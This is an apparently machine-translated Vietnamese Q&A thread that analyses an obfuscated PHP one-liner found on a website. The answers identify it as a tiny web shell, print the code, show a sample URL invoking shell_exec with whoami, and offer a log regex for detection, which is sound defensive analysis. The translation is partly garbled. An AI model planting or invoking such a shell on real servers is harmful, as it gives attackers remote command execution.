2015-09-25 14 views

Trả lời

9

Đó là trình bao PHP. Nếu bạn viết lại nó vào tập tin URL.php? 2 = shell_exec & 1 = whoami thực hiện lệnh whoami trên vỏ. Trong ví dụ của bạn, một tham số được chuyển qua POST, một thông số bằng GET. Vì vậy, đó là một chút khó khăn hơn để gọi.

Bạn cũng có thể gọi các chức năng khác với nó. Tham số đầu tiên luôn là tên hàm, tham số thứ hai là tham số cho hàm được gọi.

Dường như nó được giải thích trên http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) nhưng trang web không tải cho tôi.

/chỉnh sửa: Nếu bạn có quyền truy cập vào tệp nhật ký máy chủ, bạn có thể tìm kiếm chúng để xem liệu hacker có sử dụng trình bao này hay không. Một ví dụ đơn giản "(& | \?) 2 =. +" Nhật ký * trên vỏ sẽ hoạt động. Bạn chỉ thấy một nửa lệnh được thực hiện (chỉ GET, chứ không phải POST), nhưng có lẽ điều này giúp xem liệu kẻ tấn công có thực sự sử dụng kịch bản lệnh của bạn hay không.

PS: Đó là được trả lời trước đây

+0

"ở đây" ở đâu? Tôi nghĩ rằng bạn quên liên kết –

+0

Cảm ơn rất nhiều. Lời giải thích rất tốt. Sẽ bỏ phiếu trong khoảng 3 phút. –

3

Hãy phá vỡ này lên một chút:

([email protected]$_GET[page]).@$_($_POST[404]); Thứ nhất, đây là hai biểu thức được nối với giai đoạn: ().().

Trong các biểu hiện đầu tiên, $_= , $_ là một biến, và đang được giao = vào biến $_GET['page'], hoặc có lẽ là đầu ra của một chức năng ẩn danh nó tham chiếu. Nếu không tham chiếu đến một hàm ẩn danh, thì @ sẽ loại bỏ mọi lỗi khỏi nó.

Biểu thức thứ hai, @$_($_POST[404]); được bắt đầu với ức chế lỗi @ của hàm nặc danh $_, mà bạn có thể nói bây giờ là một chức năng ẩn danh được gọi là bởi vì nó tiếp theo (. Đối số được truyền cho hàm này là $_POST['404'] và sau đó dấu ngoặc đơn thứ hai chỉ đóng cuộc gọi.

Vì vậy, tôi cho rằng sự nghi ngờ của bạn là chính xác; điều này trông giống như mã obfuscated nhằm trông vô hại hoặc một phần của trang web. Tôi nghi ngờ rằng các giá trị cho và $_POST[404] có lẽ là chuỗi javascript có tiếng vang trên trang sẽ cài đặt phần mềm độc hại hoặc phần mềm quảng cáo.

Bạn có thể gỡ lỗi này nhiều hơn bằng cách xem xét giá trị của hai biến đó và xem chúng là gì. Tốt nhất tôi có thể nói mà không biết các giá trị trong GET và POST, có vẻ như biến số $_ đang được gán cho chuỗi , sẽ là bất cứ điều gì ai đó gửi trong URL khi họ tải trang. Vì vậy, họ có thể chuyển tên chuỗi bất kỳ chức năng nào cho trang web và đưa nó vào phạm vi của PHP.

Sau đó, chúng đang chạy hàm tùy ý đó trên giá trị $_POST['404']. Giá trị đó cũng là bất kỳ trình duyệt hoặc người dùng nào POST s đến trang.

Ghép nối và dấu ngoặc đơn bên ngoài ().() có thể chỉ gây trở ngại hơn, hoặc điểm của mã này có thể đơn giản là lặp lại kết quả của mã này trên trang (ví dụ để chèn javascript). Nhưng, nó cũng có thể họ đang gọi bất kỳ chức năng mà họ muốn trên bất kỳ đối số mà họ đã vượt qua. Tôi không thể nói chỉ bằng cách nhìn, nhưng một người nào đó giao tiếp với PHP hơn có thể.